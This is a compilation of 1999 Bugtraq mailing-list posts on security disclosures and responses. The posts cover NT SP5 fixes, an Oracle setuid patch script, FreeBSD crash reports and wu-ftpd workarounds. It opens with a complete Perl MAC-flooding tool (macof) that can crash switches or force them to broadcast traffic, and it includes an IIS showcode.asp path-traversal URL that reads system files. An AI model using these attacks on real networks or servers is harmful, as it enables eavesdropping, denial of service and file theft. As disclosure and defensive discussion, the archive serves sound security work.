# Needs Net::RawIP (http://quake.skif.net/RawIP)
# Requires libpcap (ftp://ftp.ee.lbl.gov/libpcap.tar.Z)
#
# Example: ./macof -e <mac_of_def_gate> -n 1000000
#          ./macof -r -n 1000000
#          (run it several times)
#
# Warning: This program could cause serious problems on your network.
#          This program could hang, crash or reboot network devices.
#          Switches could start sending packages to all ports making it
#          possible to intercept network traffic.
#
#
require 'getopts.pl';
use Net::RawIP;
Getopts('hvrs:e:d:x:y:i:n:');

sub GenMAC
{
  my $tmp_mac="00";
  my $i=0;
# generate random mac-address
  while($i++ < 5) {
    $tmp_mac.=":" . sprintf("%x",int rand 16);
    $tmp_mac.=sprintf("%x",int rand 16);
  }
  return($tmp_mac);
}

$a = new Net::RawIP;

die "usage: $0 [options]\
\t-d dest_host\t\t(def:random)\
\t-s source_host\t\t(def:random)\
\t-v \t\t\tprints generated mac-addresses\
\t-r | -e dest_mac \trandomize or set destination mac address\
\t\t\t\tshould be in format ff:ff:ff:ff:ff:ff or host\
\t-x source_port\t\t(def:random)\
\t-y dest_port \t\t(def:random)\
\t-i interface \t\tset sending interface \t\t(def:eth0)\
\t-n times\t\tset number of times to send \t(def:1)\
\t-h this help\n" unless ( !$opt_h && !($opt_r && $opt_e) );

# set default values
$opt_i=eth0 unless $opt_i;
$opt_n=1 unless $opt_n;
$s_host=$opt_s if $opt_s;
$d_host=$opt_d if $opt_d;
$s_port=$opt_x if $opt_x;
$d_port=$opt_y if $opt_y;

# choose network card
if($opt_e) {
  $a->ethnew($opt_i, dest => $opt_e);
} else {
  $a->ethnew($opt_i);
}

# Loop
for($times=0; $times < $opt_n; $times++) {
# Check if one or two mac-addresses should be generated
  $mac=&GenMAC;
  if($opt_r) {
    $d_mac=&GenMAC;
    print "$d_mac \t$mac\n" if($opt_v);
#   set mac-addresses
    $a->ethset(source => $mac, dest => $d_mac);
  } else {
    print "$mac\n" if($opt_v);
#   set mac-address
    $a->ethset(source => $mac);
  }
# generate random source and destination ip-addresses
  $s_host=17000000+int rand 4261000000 unless $opt_s;
  $d_host=17000000+int rand 4261000000 unless $opt_d;
# generate random source and dest ports
  $s_port=int rand 65535 unless $opt_x;
  $d_port=int rand 65535 unless $opt_y;
# set network package
  $a->set({ip => {saddr => $s_host, daddr => $d_host},
           tcp => {source => $s_port, dest => $d_port}
          });
# send
  $a->ethsend;
}

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: Corel Script Virus

Corel Script Virus

Bernardo Quintero (bernardohispasec.com)
Thu, 6 May 1999 17:50:46 +0200

New! Corel Draw macro virus

Here is my analysis of how the Corel Script virus works
(in Spanish... eÑe Power):

http://www.hispasec.com/unaaldia.asp?id=191

(includes full code of the virus)

------------------------
Bernardo Quintero
bernardohispasec.com

Primer Diario Hispano
 sobre
Seguridad Informática
http://www.hispasec.com
-----------------------

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: Windows NT Service Pack 5 Released

Windows NT Service Pack 5 Released

Aleph One (aleph1UNDERGROUND.ORG)
Thu, 6 May 1999 12:32:24 -0700

Microsoft has released the Windows NT Service Pack 5. This one includes
the following security fixes:

Q188348 Specially-Malformed FTP Requests May Create Denial of Service
http://support.microsoft.com/support/kb/articles/Q188/3/48.asp

Q193361 MSGINA.DLL does not Reset WINLOGON Structure
http://support.microsoft.com/support/kb/articles/Q193/3/61.asp

Q195733 Denial of Service in Applications Using RPC over Named Pipes
http://support.microsoft.com/support/kb/articles/Q195/7/33.asp

Q214802 WinNT Lets You Paste Text into Unlock Workstation Dialog Box
http://support.microsoft.com/support/kb/articles/Q214/8/02.asp

Q214840 MSV1_0 Allows Network Connections for Specific Accounts
http://support.microsoft.com/support/kb/articles/Q214/8/40.asp

Q218473 Restricting Changes to Base System Objects
http://support.microsoft.com/support/kb/articles/Q218/4/73.asp

Q221991 Screen Saver Vulnerability Lets User Privileges Be Elevated
http://support.microsoft.com/support/kb/articles/Q221/9/91.asp

Go get it:

http://www.microsoft.com/ntserver/nts/news/msnw/Sp5Mktbulletin.asp

--
Aleph One / aleph1underground.org
http://underground.org/
KeyID 1024/948FD6B5
Fingerprint EE C9 E8 AA CB AF 09 61  8C 39 EA 47 A8 6A B8 01

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: Re: Oracle Intellegent agent installedoracle-digested

Re: Oracle Intellegent agent installedoracle-digested

John Ritchie (ritchiejOSSHE.EDU)
Thu, 6 May 1999 13:36:33 -0700

On Wed, 5 May 1999, Chris Hallenbeck wrote:

> On Tue, 4 May 1999, Kis-Szabo Andras wrote:
>
> > Oracle8i 8.1.5 Solaris 7
> > -rwsr-s--x   1 root     dba       1402152 May  3 01:08
> /oracle/bin/oratclsh
> >
> > After the install. This version never run here before.
>
>    Solaris 2.6 with Oracle8.0.5 ...installed by the userid "oracle", hence
> we have:
> -rwsr-s--x   1 oracle   dba      1492432 Jan  7 08:19 oratclsh
>
>   Solution?  Try running the majority of the install as the "oracle" user.
>
> Comments?
>
> HTH!
>
> -Chris Hallenbeck

The root setuid gets set when you run the post-install root.sh as root
(per the install instructions).  If you don't run root.sh as root
(directly after the Intelligent Agent install - remember Oracle creates a
new root.sh with every install) then the file will be owned by the
installer ID (typically oracle).

I would suggest that setuid oracle on that file is bad enough.  The simple
exploit will then get you oracle:dba privs instead of root, but that would
be enough to have full control of the database.  Oracle's recommended fix
of removing the setuid bit would still apply.

John Ritchie
Oregon University System

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: Re: Windows NT Service Pack 5 Released

Re: Windows NT Service Pack 5 Released

Chad Price (cpriceMOLBIO.UNMC.EDU)
Thu, 6 May 1999 17:06:27 -0500

You forgot to mention that you MUST be running IE and also that the SP5 web
pages induce _long_ (30 seconds +) apparent lockups when downloading all
the pages (and before displaying their contents for you to actual read)
with Netscape. The NT performance monitor is pegged at 100% for this period
of time.

When you eventually get to the page which allows you to download the
128-bit SP is the point at which you find out that the full SP will not be
released until May 19th and that you must be running IE to download the
current version.



At 12:32 PM 5/6/1999 -0700, Aleph One wrote:
>Microsoft has released the Windows NT Service Pack 5. This one includes
>the following security fixes:
>
>Q188348 Specially-Malformed FTP Requests May Create Denial of Service
>http://support.microsoft.com/support/kb/articles/Q188/3/48.asp
>
>Q193361 MSGINA.DLL does not Reset WINLOGON Structure
>http://support.microsoft.com/support/kb/articles/Q193/3/61.asp
>
>Q195733 Denial of Service in Applications Using RPC over Named Pipes
>http://support.microsoft.com/support/kb/articles/Q195/7/33.asp
>
>Q214802 WinNT Lets You Paste Text into Unlock Workstation Dialog Box
>http://support.microsoft.com/support/kb/articles/Q214/8/02.asp
>
>Q214840 MSV1_0 Allows Network Connections for Specific Accounts
>http://support.microsoft.com/support/kb/articles/Q214/8/40.asp
>
>Q218473 Restricting Changes to Base System Objects
>http://support.microsoft.com/support/kb/articles/Q218/4/73.asp
>
>Q221991 Screen Saver Vulnerability Lets User Privileges Be Elevated
>http://support.microsoft.com/support/kb/articles/Q221/9/91.asp
>
>Go get it:
>
>http://www.microsoft.com/ntserver/nts/news/msnw/Sp5Mktbulletin.asp
>
>--
>Aleph One / aleph1underground.org
>http://underground.org/
>KeyID 1024/948FD6B5
>Fingerprint EE C9 E8 AA CB AF 09 61  8C 39 EA 47 A8 6A B8 01

Chad Price
Systems Manager
University of Nebraska Medical Center
600 S 42nd St
Omaha, NE 68506-6495
cpricemolbio.unmc.edu
(402) 559-9527
(402) 559-4077 (FAX)

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: IP Source-routing can be disabled as of SP5

IP Source-routing can be disabled as of SP5

David LeBlanc (dleblancMICROSOFT.COM)
Thu, 6 May 1999 14:16:16 -0700

One of the security-related changes that did not appear in Aleph1's summary
of SP5 is that source-routing now may be disabled.  The knowledge base
article to reference is Q217336
(http://support.microsoft.com/support/kb/articles/q217/3/36.asp).

The registry key to modify is
HKLM\System\CurrentControlSet\Services\Tcpip\Parameters, and the name of the
value to add is DisableIPSourceRouting, type REG_DWORD.  To disable
source-routing, set this value to 1.

Note - the registry key information is not in the KB article at the moment.
I'm told this will be corrected shortly.

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: L0pht Advisory: NT IIS 4.0 - showcode file viewing vulnerability

L0pht Advisory: NT IIS 4.0 - showcode file viewing vulnerability

Weld Pond (weldL0PHT.COM)
Fri, 7 May 1999 09:28:41 -0500

               L0pht Security Advisory

-------------
URL Origin:    http://www.l0pht.com/advisories.html
Release Date:  May 7th, 1999
Application:   Microsoft IIS 4.0 Web Server
Severity:      Web users can view ASP source code and other sensitive
               files on the web server
Author:        weldl0pht.com
Operating Sys: Microsoft NT Server 4.0
--------------

I. Description

Internet Information Server (IIS) 4.0 ships with a set of sample files
to help web developers learn about Active Server Pages (ASP).  One of
these sample files, showcode.asp, is designed to view the source
code of the sample applications via a web browser. The showcode.asp
file does inadequate security checking and allows anyone with a web
browser to view the contents of any text file on the web server.  This
includes files that are outside of the document root of the web
server.

Many ecommerce web servers store transaction logs and other customer
information such as credit card numbers, shipping addresses, and
purchase information in text files on the web server.  This is the
type of data that could be accessed with this vulnerability.

The L0pht would like to thank Parcens for doing the initial research on
this problem.

II. Details

The showcode.asp file is installed by default at the URL:

http://www.someserver.com/msadc/Samples/SELECTOR/showcode.asp

It takes 1 argument in the URL, which is the file to view. The format of
this argument is:

source=/path/filename

So to view the contents of the showcode.asp file itself the URL would be:

http://www.someserver.com/msadc/Samples/SELECTOR/showcode.asp?source=/msadc/Samples/SELECTOR/showcodSamples/SELECTOR/showcode.asp

This looks like a fairly dangerous sample file. It can view the contents
of files on the system. The author of the ASP file added a security check
to only allow the viewing of the sample files which were in the '/msadc'
directory on the system. The problem is the security check does not test
for the '..' characters within the URL.  The only checking done is if the
URL contains the string '/msadc/'.  This allows URLs to be created that
view, not only files outside of the samples directory, but files anywhere
on the entire file system that the web server's document root is on.

For example, a URL that will view the contents of the boot.ini file, which
is in the root directory of an NT system is:

http://www.someserver.com/msadc/Samples/SELECTOR/showcode.asp?source=/msadc/Samples/../../../../../bSamples/../../../../../boot.ini

This URL requires that IIS 4.0 was installed in its default location.


III. Solution

For production servers, sample files should never be installed so delete
the entire /msadc/samples directory.  If you must have the showcode.asp
capability on development servers the showcode.asp file should be modified
to test for URLs with '..' in them and deny those requests.


For specific questions about this advisory, please contact
weldl0pht.com

---------------
For more L0pht (that's L - zero - P - H - T) advisories check out:
http://www.l0pht.com/advisories.html
---------------

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: Re: KKIS.05051999.003b

Re: KKIS.05051999.003b

Kevin Day (toastyHOME.DRAGONDATA.COM)
Thu, 6 May 1999 14:10:49 -0500

> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~[ Informations ]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>  Report title        : Security problem with sockets in FreeBSD's
>                        implementation of UNIX-domain protocol family.
>  Problem found by    : Lukasz Luzar (lluzarsecurity.kki.pl)
>  Report created by   : Robert Pajak (shadowsecurity.kki.pl)
>                        Lukasz Luzar (lluzarsecurity.kki.pl)
>  Raport published    : 5th May 1999
>  Raport code         : KKIS.05051999.003.b
>  Systems affected    : FreeBSD-3.0 and maybe 3.1,
>  Archive             : http://www.security.kki.pl/advisories/
>  Risk level          : high
>
> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~[ Description ]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>   As you know, "The UNIX-domain protocol family is a collection of protocols
>  that provides local interprocess communication through the normal socket
>  mechanism. It supports the SOCK_STREAM and SOCK_DGRAM soceket types and uses
>  filesystem pathnames for addressing."
>  The SOCK_STREAM sockets also supports the communication of UNIX file
>  descriptors through the use of functions sendmsg() and recvmsg().
>   While testing UNIX-domain protocols, we have found probable bug in
>  FreeBSD's implementation of this mechanism.
>   When we had run attached example on FreeBSD-3.0 as local user, system
>  had crashed imediatelly with error "Supervisor read, page not present"
>  in kernel mode.
>

Here's my testing so far:

2.2.2 - Vulnerable
2.2.6 - Vulnerable
2.2.8 - Vulnerable
3.1-RELEASE - Ran 15 minutes, no crash.


Kevin Day
DragonData

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: Re: freebsd mbuf crash

Re: freebsd mbuf crash

Edsel Adap (adapADAP.ORG)
Thu, 6 May 1999 16:36:51 -0400

On Wed, 5 May 1999 17:25:46 -0600, David G. Andersend wrote...
> Never got around to trying it on a Solaris box.

I tried it on Solaris 2.6 and Solaris 7, it doesn't cause the system to
crash.  It simply becomes very busy, and the machine slows down to a
crawl, disks spinning.  But hitting ctrl-C interrupts the process after
a bit of a wait.

--
Edsel Adap
edseladap.org
http://www.adap.org/~edsel/          LINUX - the choice of the GNU generation

"Netscape is an application which grows to fill all available memory."  - me

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: Re: Corel Script Virus

Re: Corel Script Virus

Bernardo Quintero (bernardoHISPASEC.COM)
Fri, 7 May 1999 02:54:09 +0200

>Here is my analysis of how the Corel Script virus works
>(in Spanish... eÑe Power):
>http://www.hispasec.com/unaaldia.asp?id=191

(English): http://www.hispasec.com/galadriel.asp

------------------------
Bernardo Quintero
bernardohispasec.com

Primer Diario Hispano
 sobre
Seguridad Informática
http://www.hispasec.com
-----------------------

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: Oracle Security Followup, patch and FAQ: setuid on oratclsh

Oracle Security Followup, patch and FAQ: setuid on oratclsh

John Ritchie (ritchiejosshe.edu)
Thu, 6 May 1999 16:01:17 -0700

  This message is in MIME format.  The first part should be readable text,
  while the remaining parts are likely unreadable without MIME-aware tools.
  Send mail to mimedocserver.cac.washington.edu for more info.

--=====================_926048157==_
Content-Type: TEXT/ENRICHED; CHARSET=iso-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
Content-ID: <Pine.GSO.3.96.990506153645.26965Gnetserve.ous.edu>

All,

The following message and patch was sent to us from Oracle regarding the
oratclsh setuid vulnerability.  If you're an Oracle Metalink member you
can get this patch off their website; if not then here it is.

Note that this removes oratclsh completely, and removes setuid bits from a
whole bunch of other executables.  I see this is a good sign: maybe Oracle
is starting to get as nervous about weak setuid protections as we all are.
:^)=20

I've removed all the HTML formatting from  the following FAQ.

John Ritchie
Systems Software Analyst
Oregon University System

---------- Forwarded message ----------
[Oracle contact names removed to protect the innocent]

This e-mail is in response to your concern expressed in your e-mail
entitled:  "*Huge* security hole in Oracle 8.0.5 with Intellegent agent".=
=20


The Oracle Security Development team, along with the Oracle Worldwide
Support group have looked into this issue.  We've done research and found
the setuid issue extended a bit beyond the oratclsh file.=20


So, attached is a patch in the form of a shell script which we are
issuing today to our customers via our Worldwide Customer Support web
page (MetaLink).  Also below this message is the FAQ about this patch,
which is also being posted to MetaLink.=20

[more Oracle Support name info deleted]

-----=20


Q: I've heard about a setuid security issue with the Oracle database?=20
What is this all about?=20

A: On Unix platforms, some executable files have the setuid bit on.  It
may be possible for a very knowledgeable user to use these executables to
bypass your system security by elevating their operating system privileges
to that of the Oracle user.=20

Q: I've also heard about a security issue with the Intelligent Agent?=20
What is this all about?

A: It=92s basically the same problem as above, but specifically applies to =
a
utility executable called oratclsh which is included in your Intelligent
Agent installation.  It is a separate program that is not used by the
Intelligent Agent.

Q: Which releases are affected by this problem?

A: This problem affects Oracle data server releases 8.03, 8.0.4, 8.0.5,
and 8.1.5 on UNIX=99 platforms only.

Q: Can I correct this problem or do I need a patch?

A: This problem can easily be corrected.  The customer can download the
patch from the Oracle MetaLink webpages at
<<http://www.oracle.com/support/elec_sup>http://www.oracle.com/support/elec=
_sup.=20
The patch is a UNIX=99 shell script.  This shell script should be run
<italic>immediately</italic>, and also run <italic>after each
relink</italic> of Oracle.

Q: Is the Oracle Intelligent Agent secure?

A: Yes, the Oracle Intelligent Agent is secure.  All tasks performed by
the Intelligent Agent require username/password authentication.  The
Intelligent Agent can only perform a task for which appropriate
credentials -- for the operating system and/or database -- have been
provided.

Q:  What is Oracle doing to fix this problem?

A: Effective immediately, Oracle will provide the patch on Oracle=92s
Worldwide Support Web pages.  Oracle will ensure the patches are
incorporated into future releases of Oracle8<italic>i</italic> (8.1.6) and
Oracle8.0 (8.0.6)=20

Q: What is Oracle doing to notify users about this problem now?

A: Oracle is notifying all supported customers, via the Oracle Worldwide
Support Web pages, of this issue so they can address it as required.


--=====================_926048157==_
Content-Type: TEXT/PLAIN; CHARSET=us-ascii
Content-ID: <Pine.GSO.3.96.990506153645.26965Hnetserve.ous.edu>
Content-Description: setuid_patch.sh

#!/bin/sh
#
#    NAME
#	setuid_patch.sh
#
#    DESCRIPTION
#	Provided as a patch to 8.0.X and 8.1.5 to fix bugs 701297, 714293.
#	These bugs introduce a security hole by changing the permissions
#	to affect the effective user id for executables which should not
#	be set this way.
#
#    PRECONDITIONS
#       if ORACLE_HOME is not set, doesn't exist, or points to an
#       invalid location, script exits.
#
#    HOW TO USE
#	This script must be run as the oracle user who installed the 8.0.3
#	8.0.4, 8.0.5 or 8.1.5 software.
#
#       To run, change directories into the the directory that contains this
#       file.
#       % cd <patch_location_directory>
#
#       Add execute permission to the patch.
#       % chmod 744 setuid_patch.sh
#
#       Then, invoke the script.
#       % ./setuid_patch.sh
#
#   MODIFIED   (MM/DD/YY)
#	menash	5/3/99	Initial creation

##---------------------
## VARIABLE DEFINITIONS

#-----------------------------
# potentially platform specific variables

CHMOD="/bin/chmod"
FIND="/bin/find"
CHMOD_S="$CHMOD -s"   # remove set id bit
RM_F="/bin/rm -f"
LS_L="/bin/ls -l"
LS_N="/bin/ls -n"     # gives uid number for owner
SED="/bin/sed"
AWK="/bin/awk"
GREP="/bin/grep"
GREP_C="$GREP -c"
GREP_V="$GREP -v"
MV="/bin/mv"
TMP_DIR="/tmp"

EXECS_TO_UNSET="lsnrctl oemevent onrsd osslogin tnslsnr tnsping trcasst trcroute cmctl cmadmin cmgw names namesctl otrccref otrcfmt otrcrep otrccol oracleO"
EXECS_NOT_TO_UNSET="oracle dbsnmp"
EXECS_TO_REMOVE="oratclsh osh"
LIKELY_SUFFIXES="0 O"
ROOT_SH_815="$ORACLE_HOME/root.sh"
ROOT_SH_805="$ORACLE_HOME/orainst/root.sh"


if [ x${ORACLE_HOME} = x ] -o [ ${ORACLE_HOME} = "" ] ; then
	echo "ORACLE_HOME is either unset or empty."
	echo "Exiting ..."
	exit 1
fi

#--------------
# usage message

SCRIPTNAME=setuid_patch.sh
USAGE="Usage: $SCRIPTNAME [-h]"
if [ $# -gt 1 ] ; then
  echo
  echo $USAGE
  exit 2
fi


##-----------#
## FUNCTIONS #
##-----------#

# ----------
# setuid_off

# Assumes executable is in $ORACLE_HOME/bin
#
# Usage: setuid_off <executable>
#------------

setuid_off () {

	exe=$1
	full_path_exe=$ORACLE_HOME/bin/$exe
	if [ -r $full_path_exe ] ; then
	  perm=`$LS_L $full_path_exe | $SED 's;r-.*;;'`
	  if [ $perm = "-rws" ] ; then
	     $CHMOD_S $full_path_exe
	     echo "  removing set-ID from $full_path_exe"
	  fi
	fi
}

#-----------
# remove_exe
# Assumes executable is in $ORACLE_HOME/bin
# Removes if owned by root, otherwise, calls setuid_off

# Usage: remove_exe <executable>
remove_exe () {

	full_path_exe=$ORACLE_HOME/bin/$1
	if [ -r $full_path_exe ] ; then
	  owner=`$LS_N $full_path_exe | $AWK '{print $3}'`
	  if [ $owner = "0" ] ; then
	     $RM_F $full_path_exe
	     echo "   removing $full_path_exe..."
	  else
	     setuid_off $1
	  fi
	fi
}

#-----------
# search_for_others
#
# Finds other executables n $ORACLE_HOME/bin which have 4000, 6000,
# or 2000 permissions except for those we expects, and warns the
# user that they should be removed manually

# Usage: search_for_others

search_for_others () {

	all_others="`$FIND $ORACLE_HOME/bin -perm -2000`"
	others=""	
	if [ x"${all_others}" != x ] ; then
	  for other in $all_others; do
 	     match="false"
	     for exe in $EXECS_NOT_TO_UNSET; do
	 	 if [ $other = $ORACLE_HOME/bin/$exe ] ; then
		    match="true"		
		 fi 	
	     done
	     if [ $match = "false" ] ; then
		 others="$others $other"
	     fi	
          done	
	  if [ x"${others}" != x ] ; then
	     echo "The following executables remain with set-ID."
	     echo "You may need to change the permissions manually:"
	     for executable in $others; do
		 echo "  $executable"
	     done	
	  fi
	fi

}

#--------
# remove_from_root_sh

# For each parameter it is passed, remove_from_root_sh removes all
# lines with references to that string.

# Usage: remove_from_root_sh [ string1, string2, etc. ]

remove_from_root_sh () {

	strings=$*
	tmp_file="root.sh.$$"	
	$RM_F $TMP_DIR/$tmp_file
	for string in $strings; do
	  if [ `$GREP_C $string $ROOT_SH` != "0" ] ; then
	    echo "  removing $string from $ROOT_SH"
	  fi
	  $GREP_V $string $ROOT_SH > $TMP_DIR/$tmp_file
	  $MV $TMP_DIR/$tmp_file $ROOT_SH
	done
	
}

################
# MAIN EXECUTION
################

# Turn setuid bit off for the appropriate executables and their
# likely backups

for exe in $EXECS_TO_UNSET; do
    setuid_off $exe
    for suf in $LIKELY_SUFFIXES; do
        setuid_off $exe$suf
    done
done

# Remove files entirely which should be removed

for exe in $EXECS_TO_REMOVE; do
    remove_exe $exe
done

# Determine version -- 8.0.5 or 8.1.5
# Backup existing root.sh into root.sh.old, removing references
# to EXECS_TO_REMOVE
if [ -r $ROOT_SH_805 ] ; then
    ROOT_SH=$ROOT_SH_805
else
    if [ -r $ROOT_SH_815 ] ; then
        ROOT_SH=$ROOT_SH_815
    else
	echo "No root.sh found in $ORACLE_HOME"
    fi
fi

if [ x${ROOT_SH} != x ] ; then
    remove_from_root_sh $EXECS_TO_REMOVE
fi

# Check one last time to see if any setuid executables are left

search_for_others




--=====================_926048157==_--

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: Re: Buffer overflow in ftpd and locate bug

Re: Buffer overflow in ftpd and locate bug

Andrew Pitman (ap1TORCH.ROWAN.EDU)
Fri, 7 May 1999 01:31:22 -0400

Eugeny,

Don't panic!!

I'm CC'ing this to Bugtraq in case some aren't aware of this (very simple)
solution:

	use rm -d (as superuser) on the top-level directory.  Then run
fsck to free the unreferenced inodes below it in the 'tree'.

Andrew
--
  "The wonderful thing about standards is that there are so
   many to choose from."
                                        (Andrew S. Tanenbaum)
------------------------------+----------------------------------
  Andrew Pitman               | Management Information Systems,
  Unix System Administrator/  | Technology Operations Support
                    Webmaster |             at Rowan University
------------------------------+----------------------------------

On Tue, 4 May 1999, Eugeny Kuzakov wrote:

> On Sun, 2 May 1999, Przemyslaw Frasunek wrote:
>
> >   Example:
> >
> >   I'm creating a directory structure with 300 subdirectories, each
> > 255 chars length (source in attachment, also it's possible to do it
> > via ftpd, because it calls mkdir() and chdir()).
> I tryed it under 2.2-stable.
> /usr/bin/find -- yes, core dumpes.
> /bin/rm can not delete this tree...8-[  ]
> I don't know how to remove it....
>
> --
> 	Best wishes, Eugeny Kuzakov
> 		Laboratory 321 ( Omsk, Russia )
> 		kevlab321.ru
> 		ICQ#: 5885106
>

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: Re: Infosec.19990305.macof.a

Re: Infosec.19990305.macof.a

Emil Isberg (cel95eigmds.mdh.se)
Thu, 6 May 1999 22:30:07 +0200

On 5 May 1999, ian.vitekINFOSEC.SE wrote:
>Vulnerability Summary
>---------------------
>
>Problem:  Due to limitation with ARP/MAC-tables;
>               switches could start sending packages to all ports,
>               other network devices could hang, crash or reboot
>               if they receive lots of MAC-addresses.
>
>Threat:   Someone could eavesdrop/sniff network connections
>               over a switched network.
>               Denial of service attacks on a local network.
>Solution: There is no today known solution to the problem.

This problem is known.
The problem is known as "Learning mode" and is the state the switch is in
when it "learn" how the network is configurated.

What it does is simply to record what port each mac-address is responding.

How does the solution look like?
Well. Don't use "learning mode" on the switch. In a secure environment you
know most of the needed mac-addresses and the rest you should know anyway
so you do not need "learning mode".

But is it a limitation? Yes. The switch should notice that a port is
behaving very strange and disable it (before it's MAC-table is flushed).

--
/Emil
"Man kan säga att jag har ett eget filsystem i min lägenhet. /Bornäs"

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: Re: Outlook 98 allows spoofing internal users

Re: Outlook 98 allows spoofing internal users

Russ Johnson (rjohnsonTRIPWIRESECURITY.COM)
Thu, 6 May 1999 11:36:38 -0700

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

--=_e7bdb3b332fc1ef5caeab88408c00f4c
Content-Type: text/plain;
	charset="iso-8859-1"

I'm sending this from an Outlook 98 client.

If you don't have message quoting on, then you are correct. It's tough to
determine where a message is going, whether it's internal or external.

For instance, when I hit the "Reply to all" button, it includes the
following two entries in the To: field:

Toby Chamberlain; BUGTRAQNETSPACE.ORG

(I removed Toby from the TO: field, since he should get this in the list)

No mention of Toby's email address. It could be internal or external. I
agree that MS should give some indication in the To: field that this isn't
an internal address.

Until such time that MS agrees with us, the simple work around is to make
sure to use the "Include Original Message" option for replies and forwards.
(TOOLS>OPTIONS>EMAIL OPTIONS, lower half of dialog.) Then, the original
message is included, with the header outlined below. As you can see, the
external email address is there for all to see. Even when you spoof it as
outlined previously. Of course, this leaves open the possibility that users
won't edit the "quoted" text for brevity, and we end up with exponentially
growing mail.

It's not the best solution, but MS may choose to not agree with us.

Russ

-----Original Message-----
From: Toby Chamberlain [mailto:tobyPEOPLESEARCH.COM.AU]
Sent: Tuesday, May 04, 1999 6:05 PM
To: BUGTRAQNETSPACE.ORG
Subject: Re: Outlook 98 allows spoofing internal users

--=_e7bdb3b332fc1ef5caeab88408c00f4c
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
RE: Outlook 98 allows spoofing internal users

I'm sending this from an Outlook 98 client.

If you don't have message quoting on, then you are = correct. It's tough to determine where a message is going, whether it's = internal or external.

For instance, when I hit the "Reply to all" = button, it includes the following two entries in the To: field:

Toby Chamberlain; BUGTRAQNETSPACE.ORG

(I removed Toby from the TO: field, since he should = get this in the list)

No mention of Toby's email address. It could be = internal or external. I agree that MS should give some indication in = the To: field that this isn't an internal address.

Until such time that MS agrees with us, the simple = work around is to make sure to use the "Include Original = Message" option for replies and forwards. = (TOOLS>OPTIONS>EMAIL OPTIONS, lower half of dialog.) Then, the = original message is included, with the header outlined below. As you = can see, the external email address is there for all to see. Even when = you spoof it as outlined previously. Of course, this leaves open the = possibility that users won't edit the "quoted" text for = brevity, and we end up with exponentially growing mail.

It's not the best solution, but MS may choose to not = agree with us.

Russ

-----Original Message-----
From: Toby Chamberlain [PEOPLESEARCH.COM.AU">mailto:tobyPEOPLESEARCH.COM.AU= ]
Sent: Tuesday, May 04, 1999 6:05 PM
To: BUGTRAQNETSPACE.ORG
Subject: Re: Outlook 98 allows spoofing internal = users

--=_e7bdb3b332fc1ef5caeab88408c00f4c--

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: Re: MSIE 5 favicon bug

Re: MSIE 5 favicon bug

Chris DeRose (derosecMEDIAONE.NET)
Thu, 6 May 1999 16:32:39 -0400

I tried it from my Win98 (4.10.1998) machine, running MSIE 5
(5.00.2314.1003) and I too got  a GPF.

	-Chris DeRose
	-derosecmediaone.net




>Tried it from a couple of Win95 (OSR/2, no patches) machines with MSIE
5.0,
>no crash either... if anyone can replicate this I'd be curious to know.
How
>have you gone about testing this? Which platform(s)? Win98 only?


I tried it from a Windows 95 OSR2 (v4.0.1111) machine with MSIE5
(v5.00.2014.0216) and
about 5 seconds after adding
http://web.cip.com.br/flaviovs/sec/favicon/index.html to my
favourites I got a gpf in USER.EXE just as Flavio had stated...

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: Re: Windows NT Service Pack 5 Released

Re: Windows NT Service Pack 5 Released

Guy Dawson (guycrossflight.co.uk)
Fri, 7 May 1999 14:01:15 +0100

Chad Price wrote:
>
> You forgot to mention that you MUST be running IE and also that the SP5 web
> pages induce _long_ (30 seconds +) apparent lockups when downloading all
> the pages (and before displaying their contents for you to actual read)
> with Netscape.

Refering to the 40-bit encryption pack...

The 'upgrade only the bit's I've installed on this PC' option does
indeed require that you be running IE - V3.02 or later. The download
the entire patch does not. As I type, I'm downloading the 35MB full
service pack using Netscape Communicator V4.51

Guy
-- --------------------------------------------------------------------
Guy Dawson                    I.T. Manager              Crossflight Ltd
guycrossflight.co.uk         0973  797819                 01753 776104

Bugtraq archives for 2nd quarter (Apr-Jun) 1999: Debian, Re: wuftp2.4.2academ beta 12-18 exploit

Debian, Re: wuftp2.4.2academ beta 12-18 exploit

A Mennucc1 (msmTONELLI.SNS.IT)
Fri, 7 May 1999 13:25:11 +0200

On Mon, May 03, 1999 at 08:11:00PM -0400, Gregory Newby wrote:
> Workaround:
>
> wu-ftpd and variants that use files /etc/ftp* for configuration
> can easily help protect you against the many recent variants that
> exploit buffer overflows with MKDIR.  All the varieties I've
> seen require creating a directory or file - that's where the
> overflow happens.
>
> In /etc/ftpaccess, you have the option to specify SNIP
> mkdir           no              anonymous
> upload          no              anonymous

beware for Debian GnuLinux
(my version is  wu-2.4.2-academ[BETA-16]):
the line  mkdir... is silently ignored and has no effect
and the line upload... has a completely different syntax:
``` upload  <root-dir>  <dirglob>  <yes|no>  <owner>  <group>
            <mode> ["dirs"|"nodirs"]
	        Define  a  directory  with  <dirglob> that permits or
	        denies uploads.
'''				
				

a.m.
--
Legal Warning: Anyone sending me unsolicited/commercial email WILL be charged
a $100 proof-reading fee.  Do NOT send junk email to me - consider this an
official notice:

"By US Code Title 47, Sec.227(a)(2)(B), a computer/modem/printer meets the
 definition of a telephone fax machine.  By Sec.227(b)(1)(C), it is unlawful
 to send any unsolicited advertisement to such equipment.  By Sec.227(b)(3)(C),
 a violation of the aforementioned Section is punishable by action to recover
 actual monetary loss, or $500, whichever is greater, for each violation."

